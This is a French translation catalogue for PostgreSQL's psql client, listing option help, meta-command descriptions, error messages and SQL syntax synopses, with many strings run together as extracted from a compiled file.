                  envoie les traces dans le fichier
  -P, --pset=VAR[=ARG]
                  initialise l'option d'impression VAR à ARG (voir la
                  commande \pset)
  -R, --record-separator=CHAINE
                  initialise le séparateur d'enregistrements (par défaut :
                  saut de ligne) (-P recordsep=)
  -S, --single-line
                  active le mode ligne par ligne (EOL termine la commande
                  SQL)
  -T, --table-attr=TEXTE
                  initialise les attributs des balises HTML de tableau
                  (largeur, bordure) (-P tableattr=)
  -U, --username=NOM
                  nom d'utilisateur de la base de données (par défaut :
                  « %s »)
  -W, --password  force la demande du mot de passe (devrait survenir
                  automatiquement)
  -X, --no-psqlrc ne lit pas le fichier de démarrage (~/.psqlrc)
  -a, --echo-all  affiche les lignes du script
  -c, --command=COMMANDE
                  exécute une commande unique (SQL ou interne), puis quitte
  -d, --dbname=NOM_BASE
                  indique le nom de la base de données à laquelle se
                  connecter (par défaut : « %s »)
  -e, --echo-queries
                  affiche les commandes envoyées au serveur
  -f, --file=FICHIER
                  exécute les commandes du fichier, puis quitte
  -h, --host=HOTE nom d'hôte du serveur de la base de données ou répertoire
                  de la socket (par défaut : %s)
  -l, --list      affiche les bases de données disponibles, puis quitte
  -n, --no-readline
                  désactive l'édition avancée de la ligne de commande
                  (readline)
  -o, --output=FICHIER
                  écrit les résultats des requêtes dans un fichier (ou
                  |tube)
  -p, --port=PORT port du serveur de la base de données (par défaut :
                  « %s »)
  -q, --quiet     s'exécute silencieusement (pas de messages, uniquement le
                  résultat des requêtes)
  -s, --single-step
                  active le mode étape par étape (confirmation pour chaque
                  requête)
  -t, --tuples-only
                  affiche seulement les lignes (-P tuples_only)
  -v, --set, --variable NOM=VALEUR
                  initialise la variable psql NOM à VALEUR
  -w, --no-password
                  ne demande jamais un mot de passe
  -x, --expanded  active l'affichage étendu des tables (-P expanded)
  \! [COMMANDE]        exécute la commande dans un shell ou exécute un
                        shell interactif
  \C [CHAÎNE]          initialise le titre d'une table, ou le désactive en
                        l'absence d'argument
  \H                   bascule le mode de sortie HTML (actuellement %s)
  \T [CHAÎNE]          initialise les attributs HTML de la balise <table>,
                        ou l'annule en l'absence d'argument
  \a                   bascule entre les modes de sortie alignée et non
                        alignée
  \c[onnect] [NOM_BASE|- UTILISATEUR|- HOTE|- PORT|-]
                        se connecte à une autre base de données
                        (actuellement « %s »)
  \cd [RÉPERTOIRE]     change de répertoire de travail
  \copy ...            exécute SQL COPY avec le flux de données dirigé vers
                       l'hôte client
  \copyright           affiche les conditions d'utilisation et de
                       distribution de PostgreSQL
  \dC    [MODÈLE]      affiche la liste des transtypages
  \dD[S] [MODÈLE]      affiche la liste des domaines
  \dF[+] [MODÈLE]      affiche la liste des configurations de la recherche
                        plein texte
  \dFd[+] [MODÈLE]     affiche la liste des dictionnaires de la recherche de
                        texte
  \dFp[+] [MODÈLE]        affiche la liste des analyseurs de la recherche de
                       texte
  \dFt[+] [MODÈLE]     affiche la liste des modèles de la recherche de
                        texte
  \dT[S+] [MODÈLE]     affiche la liste des types de données
  \d[S+]               affiche la liste des tables, vues et séquences
  \d[S+] NOM           affiche la description de la table, de la vue,
                       de la séquence ou de l'index
  \da[+] [MODÈLE]      affiche la liste des aggrégats
  \db[+] [MODÈLE]      affiche la liste des tablespaces
  \dc[S] [MODÈLE]      affiche la liste des conversions
  \dd[S] [MODÈLE]      affiche les commentaires de l'objet
  \des[+] [MODÈLE]     affiche la liste des serveurs distants
  \deu[+] [MODÈLE]     affiche la liste des correspondances utilisateurs
  \dew[+] [MODÈLE]     affiche la liste des wrappers de données distantes
  \df[antw][S+] [PATRN] affiche la liste des fonctions
                        [seulement agg/normal/trigger/window]
  \dg[+]  [MODÈLE]     affiche la liste des groupes
  \di[S+] [MODÈLE]     affiche la liste des index
  \dl                  affiche la liste des « Large Objects », identique à
                        \lo_list
  \dn[+]  [MODÈLE]     affiche la liste des schémas
  \do[S]  [MODÈLE]     affiche la liste des opérateurs
  \dp     [MODÈLE]     affiche la liste des droits d'accès aux tables,
                        vues, séquences
  \ds[S+] [MODÈLE]     affiche la liste des séquences
  \dt[S+] [MODÈLE]     affiche la liste des tables
  \du[+]  [MODÈLE]     affiche la liste des rôles (utilisateurs)
  \dv[S+] [MODÈLE]     affiche la liste des vues
  \e [FICHIER]         édite le tampon de requête ou le fichier avec un
                        éditeur externe
  \echo [TEXTE]        écrit un texte sur la sortie standard
  \ef [FONCTION]       édite la définition de fonction avec un éditeur
                        externe
  \encoding [ENCODAGE] affiche ou initialise l'encodage du client
  \f [CHAÎNE]          affiche ou initialise le séparateur de champ pour
                        une sortie non alignée des requêtes
  \g [FICHIER] ou ;    envoie le tampon de requêtes au serveur (et les
                       résultats au fichier ou |tube)
  \h [NOM]             aide-mémoire pour les commandes SQL, * pour toutes
                       les commandes
  \i FICHIER           exécute les commandes du fichier
  \l[+]                affiche la liste des bases de données
  \lo_export OIDLOB FICHIER
  \lo_import FICHIER [COMMENTAIRE]
  \lo_list
  \lo_unlink OIDLOB
                        opérations sur les « Large Objects »
  \o [FICHIER]         envoie les résultats de la requête vers un fichier
                       ou un |tube
  \p                   affiche le contenu du tampon de requête
  \password [UTILISATEUR]
                        modifie de façon sécurisé le mot de passe d'un
                        utilisateur
  \prompt [TEXTE] NOM  demande à l'utilisateur de configurer la variable
                        interne
  \pset NOM [VALEUR]   régler l'affichage de la table
                        (NOM := {format|border|expanded|fieldsep|footer|
                                 null|numericlocale|recordsep|tuples_only|
                                 title|tableattr|pager})
  \q                   quitte psql
  \qecho [TEXTE]       écrit un texte sur la sortie des résultats des
                       requêtes (voir \o)
  \r                   efface le tampon de requêtes
  \s [FICHIER]         affiche l'historique ou le sauvegarde dans un
                       fichier
  \set [NOM [VALEUR]]  initialise une variable interne ou les affiche
                        toutes en l'absence de paramètre
  \t                   affiche uniquement les lignes (actuellement %s)
  \timing [on|off]     bascule l'activation du chronométrage des commandes
                        (actuellement %s)
  \unset NOM           désactive (supprime) la variable interne
  \w [FICHIER]         écrit le contenu du tampon de requêtes dans un
                       fichier
  \x                   bascule l'affichage étendu (actuellement %s)
  \z      [MODÈLE]     identique à \dp
  psql [OPTIONS]... [NOM_BASE [NOM_UTILISATEUR]]

 comme utilisateur « %s » sur le port « %s » sur l'hôte « %s »%d connexion%d connexions%s%s (%s, serveur %s)
%s : %s
%s : ne peut pas copier à partir de/vers un répertoire
%s : n'a pas pu effacer la variable « %s »
%s : n'a pas pu ouvrir le journal applicatif « %s » : %s
%s : n'a pas pu configurer le paramètre d'impression « %s »
%s : n'a pas pu initialiser la variable « %s »
%s : la transaction en cours est abandonnée
%s : nom d'encodage invalide ou procédure de conversion introuvable
%s : non connecté à une base de données
%s : pg_strdup : ne peut pas dupliquer le pointeur null (erreur interne)
%s : état de la transaction inconnu
%s : attention : option supplémentaire « %s » ignorée
(%lu ligne)(%lu lignes)(Aucune ligne)
***(Mode étape par étape: vérifiez la commande)*********************************
%s
***(appuyez sur entrée pour l'exécuter ou tapez x puis entrée pour annuler)***
******** REQUÊTE *********
%s
**************************

, en cluster, invalide, prédicat (%s), tablespace « %s »ABORT [ WORK | TRANSACTION ]ALTER AGGREGATE nom ( type [ , ... ] ) RENAME TO nouveau_nom
ALTER AGGREGATE nom ( type [ , ... ] ) OWNER TO nouveau_propriétaire
ALTER AGGREGATE nom ( type [ , ... ] ) SET SCHEMA nouveau_schémaALTER CONVERSION nom RENAME TO nouveau_nom
ALTER CONVERSION nom OWNER TO nouveau_propriétaireALTER DATABASE nom [ [ WITH ] option [ ... ] ]

où option peut être:

    CONNECTION LIMIT limite_connexion

ALTER DATABASE nom RENAME TO nouveau_nom

ALTER DATABASE nom OWNER TO nouveau_propriétaire

ALTER DATABASE nom SET TABLESPACE nouveau_tablespace

ALTER DATABASE nom SET paramètre_configuration { TO | = } { valeur | DEFAULT }
ALTER DATABASE nom SET paramètre_configuration FROM CURRENT
ALTER DATABASE nom RESET paramètre_configuration
ALTER DATABASE nom RESET ALLALTER DOMAIN nom
    { SET DEFAULT expression | DROP DEFAULT }
ALTER DOMAIN nom
    { SET | DROP } NOT NULL
ALTER DOMAIN nom
    ADD contrainte_domaine
ALTER DOMAIN nom
    DROP CONSTRAINT nom_contrainte [ RESTRICT | CASCADE ]
ALTER DOMAIN nom
    OWNER TO nouveau_propriétaire 
ALTER DOMAIN nom
    SET SCHEMA nouveau_schémaALTER FOREIGN DATA WRAPPER nom
    [ VALIDATOR fonction_validation | NO VALIDATOR ]
    [ OPTIONS ( [ ADD | SET | DROP ] option ['valeur'] [, ... ]) ]
ALTER FOREIGN DATA WRAPPER nom OWNER TO nouveau_propriétaireALTER FUNCTION nom ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] )
    action [, ... ] [ RESTRICT ]
ALTER FUNCTION nom ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] )
    RENAME TO nouveau_nom
ALTER FUNCTION nom ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] )
    OWNER TO nouveau_proprietaire
ALTER FUNCTION nom ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] )
    SET SCHEMA nouveau_schema

où action peut être :

    CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT
    IMMUTABLE | STABLE | VOLATILE
    [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    COST cout_execution
    ROWS lignes_resultats
    SET paramètre { TO | = } { valeur | DEFAULT }
    SET paramètre FROM CURRENT
    RESET paramètre
    RESET ALLALTER GROUP nom_groupe ADD USER nom_utilisateur [, ... ]
ALTER GROUP nom_groupe DROP USER nom_utilisateur [, ... ]

ALTER GROUP nom_groupe RENAME TO nouveau_nomALTER INDEX nom RENAME TO nouveau_nom
ALTER INDEX nom SET TABLESPACE nom_tablespace
ALTER INDEX nom SET ( paramètre_stockage = valeur [, ... ] )
ALTER INDEX nom RESET ( paramètre_stockage [, ... ] )ALTER OPERATOR CLASS nom USING méthode_indexation
  RENAME TO nouveau_nom
ALTER OPERATOR CLASS nom USING méthode_indexation
  OWNER TO nouveau_propriétaireALTER OPERATOR FAMILY nom USING méthode_indexage ADD
  {  OPERATOR numéro_stratégie nom_opérateur ( type_op, type_op ) 
    | FUNCTION numéro_support [ ( type_op [ , type_op ] ) ]
      nom_fonction ( type_argument [, ...] )
  } [, ... ]
ALTER OPERATOR FAMILY nom USING méthode_indexage DROP
  {  OPERATOR numéro_stratégie ( type_op [ , type_op ] )
    | FUNCTION numéro_support ( type_op [ , type_op ] )
  } [, ... ]
ALTER OPERATOR FAMILY nom USING méthode_indexage
  RENAME TO nouveau_nom
ALTER OPERATOR FAMILY nom USING méthode_indexage
  OWNER TO nouveau_propriétaireALTER OPERATOR nom ( { lefttype | NONE } , { righttype | NONE } )
  OWNER TO nouveau_propriétaireALTER ROLE nom [ [ WITH ] option [ ... ] ]

où option peut être :
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT limite_connexions
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'mot de passe'
    | VALID UNTIL 'timestamp' 

ALTER ROLE nom RENAME TO nouveau_nom

ALTER ROLE nom SET paramètre { TO | = } { valeur | DEFAULT }
ALTER ROLE name SET paramètre FROM CURRENT
ALTER ROLE nom RESET paramètre
ALTER ROLE name RESET ALLALTER SCHEMA nom RENAME TO nouveau_nom
ALTER SCHEMA nom OWNER TO nouveau_propriétaireALTER SEQUENCE nom [ INCREMENT [ BY ] incrément ]
    [ MINVALUE valeur_min | NO MINVALUE ] [ MAXVALUE valeur_max | NO MAXVALUE ]
    [ START [ WITH ] valeur_début ]
    [ RESTART [ [ WITH ] valeur_redémarrage ] ]
    [ CACHE cache ] [ [ NO ] CYCLE ]
    [ OWNED BY { table.colonne | NONE } ]
ALTER SEQUENCE nom OWNER TO new_propriétaire
ALTER SEQUENCE nom RENAME TO new_nom
ALTER SEQUENCE nom SET SCHEMA new_schémaALTER SERVER nom [ VERSION 'nouvelleversion' ]
    [ OPTIONS ( [ ADD | SET | DROP ] option ['valeur'] [, ... ] ) ]
ALTER SERVER nom OWNER TO nouveau_propriétaireALTER TABLE [ ONLY ] nom [ * ]
    action [, ... ]
ALTER TABLE [ ONLY ] nom [ * ]
    RENAME [ COLUMN ] colonne TO nouvelle_colonne
ALTER TABLE nom
    RENAME TO nouveau_nom
ALTER TABLE nom
    SET SCHEMA nouveau_schema

où action peut être :

    ADD [ COLUMN ] colonne type [ contrainte_colonne [ ... ] ]
    DROP [ COLUMN ] colonne [ RESTRICT | CASCADE ]
    ALTER [ COLUMN ] colonne [ SET DATA ] TYPE type [ USING expression ]
    ALTER [ COLUMN ] colonne SET DEFAULT expression
    ALTER [ COLUMN ] colonne DROP DEFAULT
    ALTER [ COLUMN ] colonne { SET | DROP } NOT NULL
    ALTER [ COLUMN ] colonne SET STATISTICS entier
    ALTER [ COLUMN ] colonne SET STORAGE
        { PLAIN | EXTERNAL | EXTENDED | MAIN }
    ADD contrainte_table
    DROP CONSTRAINT nom_contrainte [ RESTRICT | CASCADE ]
    DISABLE TRIGGER [ nom_trigger | ALL | USER ]
    ENABLE TRIGGER [ nom_trigger | ALL | USER ]
    ENABLE REPLICA TRIGGER nom_trigger
    ENABLE ALWAYS TRIGGER nom_trigger
    DISABLE RULE nom_règle_réécriture
    ENABLE RULE nom_règle_réécriture
    ENABLE REPLICA RULE nom_règle_réécriture
    ENABLE ALWAYS RULE nom_règle_réécriture
    CLUSTER ON nom_index
    SET WITHOUT CLUSTER
    SET WITH OIDS
    SET WITHOUT OIDS
    SET ( paramètre_stockage = valeur [, ... ] )
    RESET ( paramètre_stockage [, ... ] )
    INHERIT table_parent
    NO INHERIT table_parent
    OWNER TO nouveau_propriétaire
    SET TABLESPACE nouveau_tablespaceALTER TABLESPACE nom RENAME TO nouveau_nom
ALTER TABLESPACE nom OWNER TO nouveau_propriétaireALTER TEXT SEARCH CONFIGURATION nom
    ADD MAPPING FOR type_jeton [, ... ] WITH nom_dictionnaire [, ... ]
ALTER TEXT SEARCH CONFIGURATION nom
    ALTER MAPPING FOR type_jeton [, ... ] WITH nom_dictionnaire [, ... ]
ALTER TEXT SEARCH CONFIGURATION nom
    ALTER MAPPING REPLACE ancien_dictionnaire WITH nouveau_dictionnaire
ALTER TEXT SEARCH CONFIGURATION nom
    ALTER MAPPING FOR type_jeton [, ... ]
    REPLACE ancien_dictionnaire WITH nouveau_dictionnaire
ALTER TEXT SEARCH CONFIGURATION nom
    DROP MAPPING [ IF EXISTS ] FOR type_jeton [, ... ]
ALTER TEXT SEARCH CONFIGURATION nom RENAME TO nouveau_nom
ALTER TEXT SEARCH CONFIGURATION nom OWNER TO nouveau_propriétaireALTER TEXT SEARCH DICTIONARY nom (
    option [ = valeur ] [, ... ]
)
ALTER TEXT SEARCH DICTIONARY nom RENAME TO nouveau_nom
ALTER TEXT SEARCH DICTIONARY nom OWNER TO nouveau_propriétaireALTER TEXT SEARCH PARSER nom RENAME TO nouveau_nomALTER TEXT SEARCH TEMPLATE nom RENAME TO nouveau_nomALTER TRIGGER nom ON table RENAME TO nouveau_nomALTER TYPE nom RENAME TO nouveau_nom
ALTER TYPE nom OWNER TO nouveau_propriétaire
ALTER TYPE nom SET SCHEMA nouveau_schémaALTER USER MAPPING FOR { nom_utilisateur | USER | CURRENT_USER | PUBLIC }
    SERVER nom_serveur
    OPTIONS ( [ ADD | SET | DROP ] option ['valeur'] [, ... ] )ALTER USER nom [ [ WITH ] option [ ... ] ]

où option peut être :
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT limite_connexion
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'motdepasse'
    | VALID UNTIL 'timestamp' 

ALTER USER nom RENAME TO nouveau_nom

ALTER USER nom SET paramètre { TO | = } { valeur | DEFAULT }
ALTER USER name SET paramètre FROM CURRENT
ALTER USER nom RESET paramètre
ALTER USER name RESET ALLALTER VIEW nom ALTER [ COLUMN ] colonne SET DEFAULT expression
ALTER VIEW nom ALTER [ COLUMN ] colonne DROP DEFAULT
ALTER VIEW nom OWNER TO nouveau_propriétaire
ALTER VIEW nom RENAME TO nouveau_nom
ALTER VIEW nom SET SCHEMA nouveau_schémaALTER [ PROCEDURAL ] LANGUAGE nom RENAME TO nouveau_nom
ALTER [ PROCEDURAL ] LANGUAGE nom OWNER TO nouveau_propriétaireANALYZE [ VERBOSE ] [ table [ ( colonne [, ...] ) ] ]Droits d'accèsType de données des paramètresNotification asynchrone « %s » reçue en provenance du processus serveur de
PID %d.
AttributsAide-mémoire disponible :
BEGIN [ WORK | TRANSACTION ] [ transaction_mode [, ...] ]

où transaction_mode peut être :

    ISOLATION LEVEL { SERIALIZABLE | REPEATABLE READ |
                      READ COMMITTED | READ UNCOMMITTED }
    READ WRITE | READ ONLYLe style de bordure est %d.
CHECKPOINTCLOSE { nom | ALL }CLUSTER [VERBOSE] nom_table [ USING nom_index ]
CLUSTER [VERBOSE]COMMENT ON
{
  TABLE nom_objet |
  COLUMN nom_table.nom_colonne |
  AGGREGATE nom_agg (type_agg [, ...] ) |
  CAST (type_source AS type_cible) |
  CONSTRAINT nom_contrainte ON nom_table |
  CONVERSION nom_objet |
  DATABASE nom_objet |
  DOMAIN nom_objet |
  FUNCTION nom_fonction ( [ [ mode_arg ] [ nom_arg ] type_arg [, ...] ] ) |
  INDEX nom_objet |
  LARGE OBJECT oid_LO |
  OPERATOR op (type_operande_gauche, type_operande_droit) |
  OPERATOR CLASS nom_objet USING methode_indexage |
  OPERATOR FAMILY nom_objet USING methode_indexage |
  [ PROCEDURAL ] LANGUAGE nom_objet |
  ROLE nom_objet |
  RULE nom_regle ON nom_table |
  SCHEMA nom_objet |
  SEQUENCE nom_objet |
  TABLESPACE nom_objet |
  TEXT SEARCH CONFIGURATION nom_objet |
  TEXT SEARCH DICTIONARY nom_objet |
  TEXT SEARCH PARSER nom_objet |
  TEXT SEARCH TEMPLATE nom_objet |
  TRIGGER nom_trigger ON nom_objet |
  TYPE nom_objet |
  VIEW nom_objet
} IS 'text'COMMIT PREPARED id_transactionCOMMIT [ WORK | TRANSACTION ]Échec du transfert de données COPY : %sCOPY nom_table [ ( colonne [, ...] ) ]
    FROM { 'nom_fichier' | STDIN }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'délimiteur' ]
          [ NULL [ AS ] 'chaîne null' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'guillemet' ] 
                [ ESCAPE [ AS ] 'échappement' ]
                [ FORCE NOT NULL colonne [, ...] ]

COPY { nom_table [ ( colonne [, ...] ) ] | ( requête ) }
    TO { 'nom_fichier' | STDOUT }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'délimiteur' ]
          [ NULL [ AS ] 'chaîne null' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'guillemet' ] 
                [ ESCAPE [ AS ] 'échappement' ]
                [ FORCE QUOTE colonne [, ...] ]CREATE AGGREGATE nom ( type_données_en_entrée [ , ... ] ) (
    SFUNC = sfonction,
    STYPE = type_données_état
    [ , FINALFUNC = fonction_f ]
    [ , INITCOND = condition_initiale ]
    [ , SORTOP = opérateur_tri ]
)

ou l'ancienne syntaxe

CREATE AGGREGATE nom (
    BASETYPE = type_base,
    SFUNC = fonction_s,
    STYPE = type_données_état
    [ , FINALFUNC = fonction_f ]
    [ , INITCOND = condition_initiale ]
    [ , SORTOP = opérateur_tri ]
)CREATE CAST (type_source AS type_cible)
    WITH FUNCTION nom_fonction (type_argument)
    [ AS ASSIGNMENT | AS IMPLICIT ]

CREATE CAST (type_source AS type_cible)
    WITHOUT FUNCTION
    [ AS ASSIGNMENT | AS IMPLICIT ]

CREATE CAST (type_source AS type_cible)
    WITH INOUT
    [ AS ASSIGNMENT | AS IMPLICIT ]CREATE CONSTRAINT TRIGGER nom
    AFTER événement [ OR ... ]
    ON table
    [ FROM table_référencée ]
    { NOT DEFERRABLE | [ DEFERRABLE ]        { INITIALLY IMMEDIATE | INITIALLY DEFERRED } }
    FOR EACH ROW
    EXECUTE PROCEDURE nom_fonction ( arguments )CREATE DATABASE nom
    [ [ WITH ] [ OWNER [=] nom_propriétaire ]
           [ TEMPLATE [=] modèle ]
           [ ENCODING [=] encodage ]
           [ LC_COLLATE [=] tri_caract ]
           [ LC_CTYPE [=] type_caract ]
           [ TABLESPACE [=] tablespace ]
           [ CONNECTION LIMIT [=] limite_connexion ] ]CREATE DOMAIN nom [AS] type_données
    [ DEFAULT expression ]
    [ contrainte [ ... ] ]

avec comme contrainte :

[ CONSTRAINT nom_contrainte ]
{ NOT NULL | NULL | CHECK (expression) }CREATE FOREIGN DATA WRAPPER nom
    [ VALIDATOR fonction_validation | NO VALIDATOR ]
    [ OPTIONS ( option 'valeur' [, ... ] ) ]CREATE GROUP nom [ [ WITH ] option [ ... ] ]

où option peut être :
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'motdepasse'
    | VALID UNTIL 'timestamp' 
    | IN ROLE nom_rôle [, ...]
    | IN GROUP nom_rôle [, ...]
    | ROLE nom_rôle [, ...]
    | ADMIN nom_rôle [, ...]
    | USER nom_rôle [, ...]
    | SYSID uidCREATE OPERATOR CLASS nom [ DEFAULT ] FOR TYPE type_donnée
  USING méthode_indexage [ FAMILY nom_famille ] AS
  { OPERATOR numéro_stratégie nom_operateur [ ( op_type, op_type ) ]
    | FUNCTION numéro_support [ ( type_op [ , type_op ] ) ]
      nom_fonction ( type_argument [, ...] )
    | STORAGE type_stockage
  } [, ... ]CREATE OPERATOR FAMILY nom USING methode_indexageCREATE OPERATOR nom (
    PROCEDURE = nom_fonction
    [, LEFTARG = type_gauche ] [, RIGHTARG = type_droit ]
    [, COMMUTATOR = op_com ] [, NEGATOR = op_neg ]
    [, RESTRICT = proc_res ] [, JOIN = proc_join ]
    [, HASHES ] [, MERGES ]
)CREATE ROLE nom [ [ WITH ] option [ ... ] ]

où option peut être :
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT limite_connexion
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'motdepasse'
    | VALID UNTIL 'timestamp' 
    | IN ROLE nom_rôle [, ...]
    | IN GROUP nom_rôle [, ...]
    | ROLE nom_rôle [, ...]
    | ADMIN nom_rôle [, ...]
    | USER nom_rôle [, ...]
    | SYSID uidCREATE SCHEMA nom_schema [ AUTHORIZATION nom_utilisateur ]
  [ element_schema [ ... ] ]
CREATE SCHEMA AUTHORIZATION nom_utilisateur [ element_schema [ ... ] ]CREATE SERVER nom [ TYPE 'typeserveur' ] [ VERSION 'versionserveur' ]
    FOREIGN DATA WRAPPER nomfdw
    [ OPTIONS ( option 'valeur' [, ... ] ) ]CREATE TABLESPACE nom_tablespace [ OWNER nom_utilisateur ]
    LOCATION 'répertoire'CREATE TEXT SEARCH CONFIGURATION nom (
    PARSER = nom_analyseur |
    COPY = config_source
)CREATE TEXT SEARCH DICTIONARY nom (
    TEMPLATE = modèle
    [, option = valeur [, ... ]]
)CREATE TEXT SEARCH PARSER nom (
    START = fonction_debut ,
    GETTOKEN = fonction_jeton ,
    END = fonction_fin ,
    LEXTYPES = fonction_typeslexem
    [, HEADLINE = fonction_entete ]
)CREATE TEXT SEARCH TEMPLATE nom (
    [ INIT = fonction_init , ]
    LEXIZE = fonction_lexize
)CREATE TRIGGER nom { BEFORE | AFTER } { événement [ OR ... ] }
    ON table [ FOR [ EACH ] { ROW | STATEMENT } ]
    EXECUTE PROCEDURE nom_fonction ( arguments )CREATE TYPE nom AS
    ( nom_attribut type_donnee [, ... ] )

CREATE TYPE nom AS ENUM
    ( 'label' [, ... ] )

CREATE TYPE nom (
    INPUT = fonction_entrée,
    OUTPUT = fonction_sortie
    [ , RECEIVE = fonction_réception ]
    [ , SEND = fonction_envoi ]
    [ , TYPMOD_IN = fonction_entrée_modif_type ]
    [ , TYPMOD_OUT = fonction_sortie_modif_type ]
    [ , ANALYZE = fonction_analyse ]
    [ , INTERNALLENGTH = { longueur_interne | VARIABLE } ]
    [ , PASSEDBYVALUE ]
    [ , ALIGNMENT = alignement ]
    [ , STORAGE = stockage ]
    [ , LIKE = type_like ]
    [ , CATEGORY = catégorie ]
    [ , PREFERRED = préféré ]
    [ , DEFAULT = valeur_par_défaut ]
    [ , ELEMENT = élément ]
    [ , DELIMITER = délimiteur ]
)

CREATE TYPE nomCREATE USER MAPPING FOR { nomutilisateur | USER | CURRENT_USER | PUBLIC }
    SERVER nomserveur
    [ OPTIONS ( option 'valeur' [ , ... ] ) ]CREATE USER nom [ [ WITH ] option [ ... ] ]

où option peut être :
    
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | INHERIT | NOINHERIT
    | LOGIN | NOLOGIN
    | CONNECTION LIMIT limite_connexion
    | [ ENCRYPTED | UNENCRYPTED ] PASSWORD 'motdepasse'
    | VALID UNTIL 'timestamp' 
    | IN ROLE nom_rôle [, ...]
    | IN GROUP nom_rôle [, ...]
    | ROLE nom_rôle [, ...]
    | ADMIN nom_rôle [, ...]
    | USER nom_rôle [, ...]
    | SYSID uidCREATE [DEFAULT] CONVERSION nom
    FOR codage_source TO codage_cible FROM nom_fonctionCREATE [ OR REPLACE ] FUNCTION
    nom ( [ [ mode_arg ] [ nom_arg ] type_arg [ { DEFAULT | = } expr_par_défaut ] [, ...] ] )
    [ RETURNS type_ret
      | RETURNS TABLE ( nom_colonne type_colonne [, ...] ) ]
  { LANGUAGE nom_lang
    | WINDOW
    | IMMUTABLE | STABLE | VOLATILE
    | CALLED ON NULL INPUT | RETURNS NULL ON NULL INPUT | STRICT
    | [ EXTERNAL ] SECURITY INVOKER | [ EXTERNAL ] SECURITY DEFINER
    | COST coût_exécution
    | ROWS lignes_résultats
    | SET paramètre_configuration { TO valeur | = valeur | FROM CURRENT }
    | AS 'définition'
    | AS 'fichier_obj', 'symbôle_lien'
  } ...
    [ WITH ( attribut [, ...] ) ]CREATE [ OR REPLACE ] RULE nom AS ON événement
    TO table [ WHERE condition ]
    DO [ ALSO | INSTEAD ] { NOTHING | commande | ( commande ; commande ... ) }CREATE [ OR REPLACE ] [ TEMP | TEMPORARY ] VIEW nom
    [ ( nom_colonne [, ...] ) ]
    AS requêteCREATE [ PROCEDURAL ] LANGUAGE nom
CREATE [ TRUSTED ] [ PROCEDURAL ] LANGUAGE nom
    HANDLER gestionnaire_appels [ VALIDATOR fonction_val ]CREATE [ TEMPORARY | TEMP ] SEQUENCE nom [ INCREMENT [ BY ] incrémentation ]
    [ MINVALUE valeur_mini | NO MINVALUE ]
    [ MAXVALUE valeur_maxi | NO MAXVALUE ]
    [ START [ WITH ] valeur_départ ]
    [ CACHE en_cache ]
    [ [ NO ] CYCLE ]
    [ OWNED BY { table.colonne | NONE } ]CREATE [ UNIQUE ] INDEX [ CONCURRENTLY ] nom ON table [ USING methode ]
    ( { colonne | ( expression ) } [ classe_operateur ]
        [ ASC | DESC ]
        [ NULLS { FIRST | LAST } ] [, ...] )
    [ WITH ( parametre_stockage = valeur [, ... ] ) ]
    [ TABLESPACE tablespace ]
    [ WHERE predicat ]CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE nom_table
    [ (nom_colonne [, ...] ) ]
    [ WITH ( paramètre_stockage [= valeur] [, ... ] ) | WITH OIDS | WITHOUT OIDS ]
    [ ON COMMIT { PRESERVE ROWS | DELETE ROWS | DROP } ]
    [ TABLESPACE tablespace ]
    AS requête    [ WITH [ NO ] DATA ]CREATE [ [ GLOBAL | LOCAL ] { TEMPORARY | TEMP } ] TABLE nom_table ( [
  { nom_colonne type_données [ DEFAULT expr_par_défaut ]
    [ contrainte_colonne [ ... ] ]
    | contrainte_table
    | LIKE table_parent [ { INCLUDING | EXCLUDING }
      { DEFAULTS | CONSTRAINTS | INDEXES } ] ... }
    [, ... ]
] )
[ INHERITS ( table_parent [, ... ] ) ]
[ WITH ( paramètre_stockage [= valeur] [, ... ] )  | WITH OIDS | WITHOUT OIDS ]
[ ON COMMIT { PRESERVE ROWS | DELETE ROWS | DROP } ]
[ TABLESPACE tablespace ]

où colonne_contrainte peut être :

[ CONSTRAINT nom_contrainte ]
{ NOT NULL | 
  NULL | 
  UNIQUE paramètres_index |
  PRIMARY KEY paramètres_index |
  CHECK (expression) |
  REFERENCES table_référée [ ( colonne_referrée ) ]
    [ MATCH FULL | MATCH PARTIAL | MATCH SIMPLE ]
    [ ON DELETE action ] [ ON UPDATE action ] }
[ DEFERRABLE | NOT DEFERRABLE ]
[ INITIALLY DEFERRED | INITIALLY IMMEDIATE ]

et contrainte_table peut être :

[ CONSTRAINT nom_contrainte ]
{ UNIQUE ( nom_colonne [, ... ] ) paramètres_index |
  PRIMARY KEY ( nom_colonne [, ... ] ) paramètres_index |
  CHECK ( expression ) |
